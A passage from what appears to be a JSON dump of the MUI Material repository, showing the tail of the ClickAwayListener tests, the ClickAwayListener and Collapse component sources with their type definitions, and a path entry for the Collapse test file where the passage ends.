ReactDOM.createPortal(\n                  <div data-testid=\"interleaved-element\">Portaled Div</div>,\n                  document.body,\n                )}\n            </div>\n          </ClickAwayListener>\n        );\n      }\n      render(<ClickAwayListenerMouseDownPortal />);\n      const mouseDownTarget = screen.getByTestId('trigger');\n\n      fireEvent.mouseDown(mouseDownTarget);\n      const mouseUpTarget = screen.getByTestId('interleaved-element');\n      // https://w3c.github.io/uievents/#events-mouseevent-event-order\n      const clickTarget = findNearestCommonAncestor(mouseDownTarget, mouseUpTarget);\n      fireEvent.mouseUp(mouseUpTarget);\n      fireEvent.click(clickTarget);\n\n      expect(onClickAway.callCount).to.equal(1);\n    });\n  });\n\n  describe('prop: mouseEvent', () => {\n    it('should not call `props.onClickAway` when `props.mouseEvent` is `false`', () => {\n      const handleClickAway = spy();\n      render(\n        <ClickAwayListener onClickAway={handleClickAway} mouseEvent={false}>\n          <span />\n        </ClickAwayListener>,\n      );\n      fireEvent.click(document.body);\n      expect(handleClickAway.callCount).to.equal(0);\n    });\n\n    it('should call `props.onClickAway` when mouse down is triggered', () => {\n      const handleClickAway = spy();\n      render(\n        <ClickAwayListener onClickAway={handleClickAway} mouseEvent=\"onMouseDown\">\n          <span />\n        </ClickAwayListener>,\n      );\n      fireEvent.mouseUp(document.body);\n      expect(handleClickAway.callCount).to.equal(0);\n      fireEvent.mouseDown(document.body);\n      expect(handleClickAway.callCount).to.equal(1);\n      expect(handleClickAway.args[0].length).to.equal(1);\n    });\n\n    it('should call `props.onClickAway` when mouse up is triggered', () => {\n      const handleClickAway = spy();\n      render(\n        <ClickAwayListener onClickAway={handleClickAway} mouseEvent=\"onMouseUp\">\n          <span />\n        </ClickAwayListener>,\n      );\n      fireEvent.mouseDown(document.body);\n      expect(handleClickAway.callCount).to.equal(0);\n      fireEvent.mouseUp(document.body);\n      expect(handleClickAway.callCount).to.equal(1);\n      expect(handleClickAway.args[0].length).to.equal(1);\n    });\n\n    it('should call `props.onClickAway` when pointer down is triggered', () => {\n      const handleClickAway = spy();\n      render(\n        <ClickAwayListener onClickAway={handleClickAway} mouseEvent=\"onPointerDown\">\n          <span />\n        </ClickAwayListener>,\n      );\n      fireEvent.pointerUp(document.body);\n      expect(handleClickAway.callCount).to.equal(0);\n      fireEvent.pointerDown(document.body);\n      expect(handleClickAway.callCount).to.equal(1);\n      expect(handleClickAway.args[0].length).to.equal(1);\n    });\n\n    it('should call `props.onClickAway` when pointer up is triggered', () => {\n      const handleClickAway = spy();\n      render(\n        <ClickAwayListener onClickAway={handleClickAway} mouseEvent=\"onPointerUp\">\n          <span />\n        </ClickAwayListener>,\n      );\n      fireEvent.pointerDown(document.body);\n      expect(handleClickAway.callCount).to.equal(0);\n      fireEvent.pointerUp(document.body);\n      expect(handleClickAway.callCount).to.equal(1);\n      expect(handleClickAway.args[0].length).to.equal(1);\n    });\n  });\n\n  describe('prop: touchEvent', () => {\n    it('should not call `props.onClickAway` when `props.touchEvent` is `false`', () => {\n      const handleClickAway = spy();\n      render(\n        <ClickAwayListener onClickAway={handleClickAway} touchEvent={false}>\n          <span />\n        </ClickAwayListener>,\n      );\n      fireEvent.touchEnd(document.body);\n      expect(handleClickAway.callCount).to.equal(0);\n    });\n\n    it('should call `props.onClickAway` when the appropriate touch event is triggered', () => {\n      const handleClickAway = spy();\n      render(\n        <ClickAwayListener onClickAway={handleClickAway} touchEvent=\"onTouchStart\">\n          <span />\n        </ClickAwayListener>,\n      );\n      fireEvent.touchEnd(document.body);\n      expect(handleClickAway.callCount).to.equal(0);\n      fireEvent.touchStart(document.body);\n      expect(handleClickAway.callCount).to.equal(1);\n      expect(handleClickAway.args[0].length).to.equal(1);\n    });\n\n    it('should ignore `touchend` when preceded by `touchmove` event', () => {\n      const handleClickAway = spy();\n      render(\n        <ClickAwayListener onClickAway={handleClickAway} touchEvent=\"onTouchEnd\">\n          <span />\n        </ClickAwayListener>,\n      );\n\n      fireEvent.touchStart(document.body);\n      fireEvent.touchMove(document.body);\n      fireEvent.touchEnd(document.body);\n      expect(handleClickAway.callCount).to.equal(0);\n\n      fireEvent.touchEnd(document.body);\n      expect(handleClickAway.callCount).to.equal(1);\n      expect(handleClickAway.args[0].length).to.equal(1);\n    });\n  });\n\n  it('should handle null child', () => {\n    const Child = React.forwardRef(() => null);\n    const handleClickAway = spy();\n    render(\n      <ClickAwayListener onClickAway={handleClickAway}>\n        <Child />\n      </ClickAwayListener>,\n    );\n    fireEvent.click(document.body);\n    expect(handleClickAway.callCount).to.equal(0);\n  });\n\n  [\n    ['onClick', false],\n    ['onClick', true],\n    ['onClickCapture', false],\n    ['onClickCapture', true],\n  ].forEach(([eventName, disableReactTree]) => {\n    it.skipIf(!new Event('click').composedPath)(\n      `when 'disableRectTree=${disableReactTree}' ${eventName} triggers onClickAway if an outside target is removed`,\n      function test() {\n        const handleClickAway = spy();\n        function Test() {\n          const [buttonShown, hideButton] = React.useReducer(() => false, true);\n\n          return (\n            <React.Fragment>\n              {buttonShown && <button {...{ [eventName]: hideButton }} type=\"button\" />}\n              <ClickAwayListener onClickAway={handleClickAway} disableReactTree={disableReactTree}>\n                <div />\n              </ClickAwayListener>\n            </React.Fragment>\n          );\n        }\n        render(<Test />);\n\n        act(() => {\n          screen.getByRole('button').click();\n        });\n\n        expect(handleClickAway.callCount).to.equal(1);\n      },\n    );\n\n    it.skipIf(!new Event('click').composedPath)(\n      `when 'disableRectTree=${disableReactTree}' ${eventName} does not trigger onClickAway if an inside target is removed`,\n      function test() {\n        const handleClickAway = spy();\n\n        function Test() {\n          const [buttonShown, hideButton] = React.useReducer(() => false, true);\n\n          return (\n            <ClickAwayListener onClickAway={handleClickAway} disableReactTree={disableReactTree}>\n              <div>{buttonShown && <button {...{ [eventName]: hideButton }} type=\"button\" />}</div>\n            </ClickAwayListener>\n          );\n        }\n        render(<Test />);\n\n        act(() => {\n          screen.getByRole('button').click();\n        });\n\n        expect(handleClickAway.callCount).to.equal(0);\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ClickAwayListener/ClickAwayListener.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport ownerDocument from '@mui/utils/ownerDocument';\nimport useForkRef from '@mui/utils/useForkRef';\nimport useEventCallback from '@mui/utils/useEventCallback';\nimport elementAcceptingRef from '@mui/utils/elementAcceptingRef';\nimport exactProp from '@mui/utils/exactProp';\nimport getReactElementRef from '@mui/utils/getReactElementRef';\n\n// TODO: return `EventHandlerName extends `on${infer EventName}` ? Lowercase<EventName> : never` once generatePropTypes runs with TS 4.1\nfunction mapEventPropToEvent(\n  eventProp: ClickAwayMouseEventHandler | ClickAwayTouchEventHandler,\n): 'click' | 'mousedown' | 'mouseup' | 'touchstart' | 'touchend' | 'pointerdown' | 'pointerup' {\n  return eventProp.substring(2).toLowerCase() as any;\n}\n\nfunction clickedRootScrollbar(event: MouseEvent, doc: Document) {\n  return (\n    doc.documentElement.clientWidth < event.clientX ||\n    doc.documentElement.clientHeight < event.clientY\n  );\n}\n\ntype ClickAwayMouseEventHandler =\n  | 'onClick'\n  | 'onMouseDown'\n  | 'onMouseUp'\n  | 'onPointerDown'\n  | 'onPointerUp';\ntype ClickAwayTouchEventHandler = 'onTouchStart' | 'onTouchEnd';\n\nexport interface ClickAwayListenerProps {\n  /**\n   * The wrapped element.\n   */\n  children: React.ReactElement<any>;\n  /**\n   * If `true`, the React tree is ignored and only the DOM tree is considered.\n   * This prop changes how portaled elements are handled.\n   * @default false\n   */\n  disableReactTree?: boolean | undefined;\n  /**\n   * The mouse event to listen to. You can disable the listener by providing `false`.\n   * @default 'onClick'\n   */\n  mouseEvent?: ClickAwayMouseEventHandler | false | undefined;\n  /**\n   * Callback fired when a \"click away\" event is detected.\n   */\n  onClickAway: (event: MouseEvent | TouchEvent) => void;\n  /**\n   * The touch event to listen to. You can disable the listener by providing `false`.\n   * @default 'onTouchEnd'\n   */\n  touchEvent?: ClickAwayTouchEventHandler | false | undefined;\n}\n\n/**\n * Listen for click events that occur somewhere in the document, outside of the element itself.\n * For instance, if you need to hide a menu when people click anywhere else on your page.\n *\n * Demos:\n *\n * - [Click-Away Listener](https://next.mui.com/material-ui/react-click-away-listener/)\n * - [Menu](https://next.mui.com/material-ui/react-menu/)\n *\n * API:\n *\n * - [ClickAwayListener API](https://next.mui.com/material-ui/api/click-away-listener/)\n */\nfunction ClickAwayListener(props: ClickAwayListenerProps): React.JSX.Element {\n  const {\n    children,\n    disableReactTree = false,\n    mouseEvent = 'onClick',\n    onClickAway,\n    touchEvent = 'onTouchEnd',\n  } = props;\n  const movedRef = React.useRef(false);\n  const nodeRef = React.useRef<Element>(null);\n  const activatedRef = React.useRef(false);\n  const syntheticEventRef = React.useRef(false);\n\n  React.useEffect(() => {\n    // Ensure that this component is not \"activated\" synchronously.\n    // https://github.com/facebook/react/issues/20074\n    setTimeout(() => {\n      activatedRef.current = true;\n    }, 0);\n    return () => {\n      activatedRef.current = false;\n    };\n  }, []);\n\n  const handleRef = useForkRef(getReactElementRef(children), nodeRef);\n\n  // The handler doesn't take event.defaultPrevented into account:\n  //\n  // event.preventDefault() is meant to stop default behaviors like\n  // clicking a checkbox to check it, hitting a button to submit a form,\n  // and hitting left arrow to move the cursor in a text input etc.\n  // Only special HTML elements have these default behaviors.\n  const handleClickAway = useEventCallback((event: MouseEvent | TouchEvent) => {\n    // Given developers can stop the propagation of the synthetic event,\n    // we can only be confident with a positive value.\n    const insideReactTree = syntheticEventRef.current;\n    syntheticEventRef.current = false;\n\n    const doc = ownerDocument(nodeRef.current);\n\n    // 1. IE11 support, which trigger the handleClickAway even after the unbind\n    // 2. The child might render null.\n    // 3. Behave like a blur listener.\n    if (\n      !activatedRef.current ||\n      !nodeRef.current ||\n      ('clientX' in event && clickedRootScrollbar(event, doc))\n    ) {\n      return;\n    }\n\n    // Do not act if user performed touchmove\n    if (movedRef.current) {\n      movedRef.current = false;\n      return;\n    }\n\n    let insideDOM;\n\n    // If not enough, can use https://github.com/DieterHolvoet/event-propagation-path/blob/master/propagationPath.js\n    if (event.composedPath) {\n      insideDOM = event.composedPath().includes(nodeRef.current);\n    } else {\n      insideDOM =\n        !doc.documentElement.contains(\n          // @ts-expect-error returns `false` as intended when not dispatched from a Node\n          event.target,\n        ) ||\n        nodeRef.current.contains(\n          // @ts-expect-error returns `false` as intended when not dispatched from a Node\n          event.target,\n        );\n    }\n\n    if (!insideDOM && (disableReactTree || !insideReactTree)) {\n      onClickAway(event);\n    }\n  });\n\n  // Keep track of mouse/touch events that bubbled up through the portal.\n  const createHandleSynthetic =\n    (handlerName: ClickAwayMouseEventHandler | ClickAwayTouchEventHandler) =>\n    (event: React.SyntheticEvent) => {\n      syntheticEventRef.current = true;\n\n      const childrenPropsHandler = children.props[handlerName];\n      if (childrenPropsHandler) {\n        childrenPropsHandler(event);\n      }\n    };\n\n  const childrenProps: { ref: React.Ref<Element> } & Pick<\n    React.DOMAttributes<Element>,\n    ClickAwayMouseEventHandler | ClickAwayTouchEventHandler\n  > = { ref: handleRef };\n\n  if (touchEvent !== false) {\n    childrenProps[touchEvent] = createHandleSynthetic(touchEvent);\n  }\n\n  React.useEffect(() => {\n    if (touchEvent !== false) {\n      const mappedTouchEvent = mapEventPropToEvent(touchEvent);\n      const doc = ownerDocument(nodeRef.current);\n\n      const handleTouchMove = () => {\n        movedRef.current = true;\n      };\n\n      doc.addEventListener(mappedTouchEvent, handleClickAway);\n      doc.addEventListener('touchmove', handleTouchMove);\n\n      return () => {\n        doc.removeEventListener(mappedTouchEvent, handleClickAway);\n        doc.removeEventListener('touchmove', handleTouchMove);\n      };\n    }\n\n    return undefined;\n  }, [handleClickAway, touchEvent]);\n\n  if (mouseEvent !== false) {\n    childrenProps[mouseEvent] = createHandleSynthetic(mouseEvent);\n  }\n\n  React.useEffect(() => {\n    if (mouseEvent !== false) {\n      const mappedMouseEvent = mapEventPropToEvent(mouseEvent);\n      const doc = ownerDocument(nodeRef.current);\n\n      doc.addEventListener(mappedMouseEvent, handleClickAway);\n\n      return () => {\n        doc.removeEventListener(mappedMouseEvent, handleClickAway);\n      };\n    }\n\n    return undefined;\n  }, [handleClickAway, mouseEvent]);\n\n  return React.cloneElement(children, childrenProps);\n}\n\nClickAwayListener.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The wrapped element.\n   */\n  children: elementAcceptingRef.isRequired,\n  /**\n   * If `true`, the React tree is ignored and only the DOM tree is considered.\n   * This prop changes how portaled elements are handled.\n   * @default false\n   */\n  disableReactTree: PropTypes.bool,\n  /**\n   * The mouse event to listen to. You can disable the listener by providing `false`.\n   * @default 'onClick'\n   */\n  mouseEvent: PropTypes.oneOf([\n    'onClick',\n    'onMouseDown',\n    'onMouseUp',\n    'onPointerDown',\n    'onPointerUp',\n    false,\n  ]),\n  /**\n   * Callback fired when a \"click away\" event is detected.\n   */\n  onClickAway: PropTypes.func.isRequired,\n  /**\n   * The touch event to listen to. You can disable the listener by providing `false`.\n   * @default 'onTouchEnd'\n   */\n  touchEvent: PropTypes.oneOf(['onTouchEnd', 'onTouchStart', false]),\n} as any;\n\nif (process.env.NODE_ENV !== 'production') {\n  // eslint-disable-next-line\n  (ClickAwayListener as any)['propTypes' + ''] = exactProp(ClickAwayListener.propTypes);\n}\n\nexport { ClickAwayListener };\n"
  },
  {
    "path": "packages/mui-material/src/ClickAwayListener/index.ts",
    "content": "export { ClickAwayListener as default } from './ClickAwayListener';\nexport type { ClickAwayListenerProps } from './ClickAwayListener';\n"
  },
  {
    "path": "packages/mui-material/src/Collapse/Collapse.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { TransitionStatus } from 'react-transition-group';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { TransitionProps } from '../transitions/transition';\nimport { CollapseClasses } from './collapseClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface CollapseSlots {\n  /**\n   * The component that renders the root.\n   * @default 'div'\n   */\n  root?: React.ElementType | undefined;\n  /**\n   * The component that renders the wrapper.\n   * @default 'div'\n   */\n  wrapper?: React.ElementType | undefined;\n  /**\n   * The component that renders the inner wrapper.\n   * @default 'div'\n   */\n  wrapperInner?: React.ElementType | undefined;\n}\n\nexport interface CollapseRootSlotPropsOverrides {}\n\nexport interface CollapseWrapperSlotPropsOverrides {}\n\nexport interface CollapseWrapperInnerSlotPropsOverrides {}\n\nexport type CollapseSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  CollapseSlots,\n  {\n    root: SlotProps<'div', CollapseRootSlotPropsOverrides, CollapseOwnerState>;\n    wrapper: SlotProps<'div', CollapseWrapperSlotPropsOverrides, CollapseOwnerState>;\n    wrapperInner: SlotProps<'div', CollapseWrapperInnerSlotPropsOverrides, CollapseOwnerState>;\n  }\n>;\n\nexport interface CollapseProps\n  extends StandardProps<TransitionProps, 'timeout'>, CollapseSlotsAndSlotProps {\n  /**\n   * The content node to be collapsed.\n   */\n  children?: React.ReactNode;\n  className?: string | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<CollapseClasses> | undefined;\n  /**\n   * The width (horizontal) or height (vertical) of the container when collapsed.\n   * @default '0px'\n   */\n  collapsedSize?: string | number | undefined;\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component?: React.ElementType<TransitionProps> | undefined;\n  /**\n   * The transition timing function.\n   * You may specify a single easing or a object containing enter and exit values.\n   */\n  easing?: TransitionProps['easing'] | undefined;\n  /**\n   * If `true`, the component will transition in.\n   */\n  in?: boolean | undefined;\n  /**\n   * The transition orientation.\n   * @default 'vertical'\n   */\n  orientation?: 'horizontal' | 'vertical' | undefined;\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   *\n   * Set to 'auto' to automatically calculate transition time based on height.\n   * @default duration.standard\n   */\n  timeout?: TransitionProps['timeout'] | 'auto' | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface CollapseOwnerState extends CollapseProps {\n  state: TransitionStatus;\n}\n\n/**\n * The Collapse transition is used by the\n * [Vertical Stepper](https://next.mui.com/material-ui/react-stepper/#vertical-stepper) StepContent component.\n * It uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\n *\n * Demos:\n *\n * - [Card](https://next.mui.com/material-ui/react-card/)\n * - [Lists](https://next.mui.com/material-ui/react-list/)\n * - [Transitions](https://next.mui.com/material-ui/transitions/)\n *\n * API:\n *\n * - [Collapse API](https://next.mui.com/material-ui/api/collapse/)\n * - inherits [Transition API](https://reactcommunity.org/react-transition-group/transition/#Transition-props)\n */\n\nexport default function Collapse(props: CollapseProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Collapse/Collapse.js",
    "content": "'use client';\nimport * as React from 'react';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport { Transition } from 'react-transition-group';\nimport useTimeout from '@mui/utils/useTimeout';\nimport elementTypeAcceptingRef from '@mui/utils/elementTypeAcceptingRef';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled, useTheme } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { duration } from '../styles/createTransitions';\nimport { getTransitionProps } from '../transitions/utils';\nimport { useForkRef } from '../utils';\nimport useSlot from '../utils/useSlot';\nimport { getCollapseUtilityClass } from './collapseClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { orientation, classes } = ownerState;\n\n  const slots = {\n    root: ['root', orientation],\n    entered: ['entered'],\n    hidden: ['hidden'],\n    wrapper: ['wrapper', orientation],\n    wrapperInner: ['wrapperInner', orientation],\n  };\n\n  return composeClasses(slots, getCollapseUtilityClass, classes);\n};\n\nconst CollapseRoot = styled('div', {\n  name: 'MuiCollapse',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[ownerState.orientation],\n      ownerState.state === 'entered' && styles.entered,\n      ownerState.state === 'exited' &&\n        !ownerState.in &&\n        ownerState.collapsedSize === '0px' &&\n        styles.hidden,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    height: 0,\n    overflow: 'hidden',\n    transition: theme.transitions.create('height'),\n    variants: [\n      {\n        props: {\n          orientation: 'horizontal',\n        },\n        style: {\n          height: 'auto',\n          width: 0,\n          transition: theme.transitions.create('width'),\n        },\n      },\n      {\n        props: {\n          state: 'entered',\n        },\n        style: {\n          height: 'auto',\n          overflow: 'visible',\n        },\n      },\n      {\n        props: {\n          state: 'entered',\n          orientation: 'horizontal',\n        },\n        style: {\n          width: 'auto',\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.state === 'exited' && !ownerState.in && ownerState.collapsedSize === '0px',\n        style: {\n          visibility: 'hidden',\n        },\n      },\n    ],\n  })),\n);\n\nconst CollapseWrapper = styled('div', {\n  name: 'MuiCollapse',\n  slot: 'Wrapper',\n})({\n  // Hack to get children with a negative margin to not falsify the height computation.\n  display: 'flex',\n  width: '100%',\n  variants: [\n    {\n      props: {\n        orientation: 'horizontal',\n      },\n      style: {\n        width: 'auto',\n        height: '100%',\n      },\n    },\n  ],\n});\n\nconst CollapseWrapperInner = styled('div', {\n  name: 'MuiCollapse',\n  slot: 'WrapperInner',\n})({\n  width: '100%',\n  variants: [\n    {\n      props: {\n        orientation: 'horizontal',\n      },\n      style: {\n        width: 'auto',\n        height: '100%',\n      },\n    },\n  ],\n});\n\n/**\n * The Collapse transition is used by the\n * [Vertical Stepper](/material-ui/react-stepper/#vertical-stepper) StepContent component.\n * It uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\n */\nconst Collapse = React.forwardRef(function Collapse(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiCollapse' });\n  const {\n    addEndListener,\n    children,\n    className,\n    collapsedSize: collapsedSizeProp = '0px',\n    component,\n    easing,\n    in: inProp,\n    onEnter,\n    onEntered,\n    onEntering,\n    onExit,\n    onExited,\n    onExiting,\n    orientation = 'vertical',\n    slots = {},\n    slotProps = {},\n    style,\n    timeout = duration.standard,\n    // eslint-disable-next-line react/prop-types\n    TransitionComponent = Transition,\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    orientation,\n    collapsedSize: collapsedSizeProp,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const theme = useTheme();\n  const timer = useTimeout();\n  const wrapperRef = React.useRef(null);\n  const autoTransitionDuration = React.useRef();\n  const collapsedSize =\n    typeof collapsedSizeProp === 'number' ? `${collapsedSizeProp}px` : collapsedSizeProp;\n  const isHorizontal = orientation === 'horizontal';\n  const size = isHorizontal ? 'width' : 'height';\n\n  const nodeRef = React.useRef(null);\n  const handleRef = useForkRef(ref, nodeRef);\n\n  const normalizedTransitionCallback = (callback) => (maybeIsAppearing) => {\n    if (callback) {\n      const node = nodeRef.current;\n\n      // onEnterXxx and onExitXxx callbacks have a different arguments.length value.\n      if (maybeIsAppearing === undefined) {\n        callback(node);\n      } else {\n        callback(node, maybeIsAppearing);\n      }\n    }\n  };\n\n  const getWrapperSize = () =>\n    wrapperRef.current ? wrapperRef.current[isHorizontal ? 'clientWidth' : 'clientHeight'] : 0;\n\n  const handleEnter = normalizedTransitionCallback((node, isAppearing) => {\n    if (wrapperRef.current && isHorizontal) {\n      // Set absolute position to get the size of collapsed content\n      wrapperRef.current.style.position = 'absolute';\n    }\n    node.style[size] = collapsedSize;\n\n    if (onEnter) {\n      onEnter(node, isAppearing);\n    }\n  });\n\n  const handleEntering = normalizedTransitionCallback((node, isAppearing) => {\n    const wrapperSize = getWrapperSize();\n\n    if (wrapperRef.current && isHorizontal) {\n      // After the size is read reset the position back to default\n      wrapperRef.current.style.position = '';\n    }\n\n    const { duration: transitionDuration, easing: transitionTimingFunction } = getTransitionProps(\n      { style, timeout, easing },\n      {\n        mode: 'enter',\n      },\n    );\n\n    if (timeout === 'auto') {\n      const duration2 = theme.transitions.getAutoHeightDuration(wrapperSize);\n      node.style.transitionDuration = `${duration2}ms`;\n      autoTransitionDuration.current = duration2;\n    } else {\n      node.style.transitionDuration =\n        typeof transitionDuration === 'string' ? transitionDuration : `${transitionDuration}ms`;\n    }\n\n    node.style[size] = `${wrapperSize}px`;\n    node.style.transitionTimingFunction = transitionTimingFunction;\n\n    if (onEntering) {\n      onEntering(node, isAppearing);\n    }\n  });\n\n  const handleEntered = normalizedTransitionCallback((node, isAppearing) => {\n    node.style[size] = 'auto';\n\n    if (onEntered) {\n      onEntered(node, isAppearing);\n    }\n  });\n\n  const handleExit = normalizedTransitionCallback((node) => {\n    node.style[size] = `${getWrapperSize()}px`;\n\n    if (onExit) {\n      onExit(node);\n    }\n  });\n\n  const handleExited = normalizedTransitionCallback(onExited);\n\n  const handleExiting = normalizedTransitionCallback((node) => {\n    const wrapperSize = getWrapperSize();\n    const { duration: transitionDuration, easing: transitionTimingFunction } = getTransitionProps(\n      { style, timeout, easing },\n      {\n        mode: 'exit',\n      },\n    );\n\n    if (timeout === 'auto') {\n      // TODO: rename getAutoHeightDuration to something more generic (width support)\n      // Actually it just calculates animation duration based on size\n      const duration2 = theme.transitions.getAutoHeightDuration(wrapperSize);\n      node.style.transitionDuration = `${duration2}ms`;\n      autoTransitionDuration.current = duration2;\n    } else {\n      node.style.transitionDuration =\n        typeof transitionDuration === 'string' ? transitionDuration : `${transitionDuration}ms`;\n    }\n\n    node.style[size] = collapsedSize;\n    node.style.transitionTimingFunction = transitionTimingFunction;\n\n    if (onExiting) {\n      onExiting(node);\n    }\n  });\n\n  const handleAddEndListener = (next) => {\n    if (timeout === 'auto') {\n      timer.start(autoTransitionDuration.current || 0, next);\n    }\n    if (addEndListener) {\n      // Old call signature before `react-transition-group` implemented `nodeRef`\n      addEndListener(nodeRef.current, next);\n    }\n  };\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n    component,\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref: handleRef,\n    className: clsx(classes.root, className),\n    elementType: CollapseRoot,\n    externalForwardedProps,\n    ownerState,\n    additionalProps: {\n      style: {\n        [isHorizontal ? 'minWidth' : 'minHeight']: collapsedSize,\n        ...style,\n      },\n    },\n  });\n\n  const [WrapperSlot, wrapperSlotProps] = useSlot('wrapper', {\n    ref: wrapperRef,\n    className: classes.wrapper,\n    elementType: CollapseWrapper,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [WrapperInnerSlot, wrapperInnerSlotProps] = useSlot('wrapperInner', {\n    className: classes.wrapperInner,\n    elementType: CollapseWrapperInner,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  return (\n    <TransitionComponent\n      in={inProp}\n      onEnter={handleEnter}\n      onEntered={handleEntered}\n      onEntering={handleEntering}\n      onExit={handleExit}\n      onExited={handleExited}\n      onExiting={handleExiting}\n      addEndListener={handleAddEndListener}\n      nodeRef={nodeRef}\n      timeout={timeout === 'auto' ? null : timeout}\n      {...other}\n    >\n      {/* Destructure child props to prevent the component's \"ownerState\" from being overridden by incomingOwnerState. */}\n      {(state, { ownerState: incomingOwnerState, ...restChildProps }) => {\n        const stateOwnerState = { ...ownerState, state };\n        return (\n          <RootSlot\n            {...rootSlotProps}\n            className={clsx(rootSlotProps.className, {\n              [classes.entered]: state === 'entered',\n              [classes.hidden]: state === 'exited' && !inProp && collapsedSize === '0px',\n            })}\n            ownerState={stateOwnerState}\n            {...restChildProps}\n          >\n            <WrapperSlot {...wrapperSlotProps} ownerState={stateOwnerState}>\n              <WrapperInnerSlot {...wrapperInnerSlotProps} ownerState={stateOwnerState}>\n                {children}\n              </WrapperInnerSlot>\n            </WrapperSlot>\n          </RootSlot>\n        );\n      }}\n    </TransitionComponent>\n  );\n});\n\nCollapse.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Add a custom transition end trigger. Called with the transitioning DOM\n   * node and a done callback. Allows for more fine grained transition end\n   * logic. Note: Timeouts are still used as a fallback if provided.\n   */\n  addEndListener: PropTypes.func,\n  /**\n   * The content node to be collapsed.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The width (horizontal) or height (vertical) of the container when collapsed.\n   * @default '0px'\n   */\n  collapsedSize: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: elementTypeAcceptingRef,\n  /**\n   * The transition timing function.\n   * You may specify a single easing or a object containing enter and exit values.\n   */\n  easing: PropTypes.oneOfType([\n    PropTypes.shape({\n      enter: PropTypes.string,\n      exit: PropTypes.string,\n    }),\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the component will transition in.\n   */\n  in: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  onEnter: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onEntered: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onEntering: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExit: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExited: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExiting: PropTypes.func,\n  /**\n   * The transition orientation.\n   * @default 'vertical'\n   */\n  orientation: PropTypes.oneOf(['horizontal', 'vertical']),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    wrapper: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    wrapperInner: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    root: PropTypes.elementType,\n    wrapper: PropTypes.elementType,\n    wrapperInner: PropTypes.elementType,\n  }),\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   *\n   * Set to 'auto' to automatically calculate transition time based on height.\n   * @default duration.standard\n   */\n  timeout: PropTypes.oneOfType([\n    PropTypes.oneOf(['auto']),\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n};\n\nif (Collapse) {\n  Collapse.muiSupportAuto = true;\n}\n\nexport default Collapse;\n"
  },
  {
    "path": "packages/mui-material/src/Collapse/Collapse.test.js",
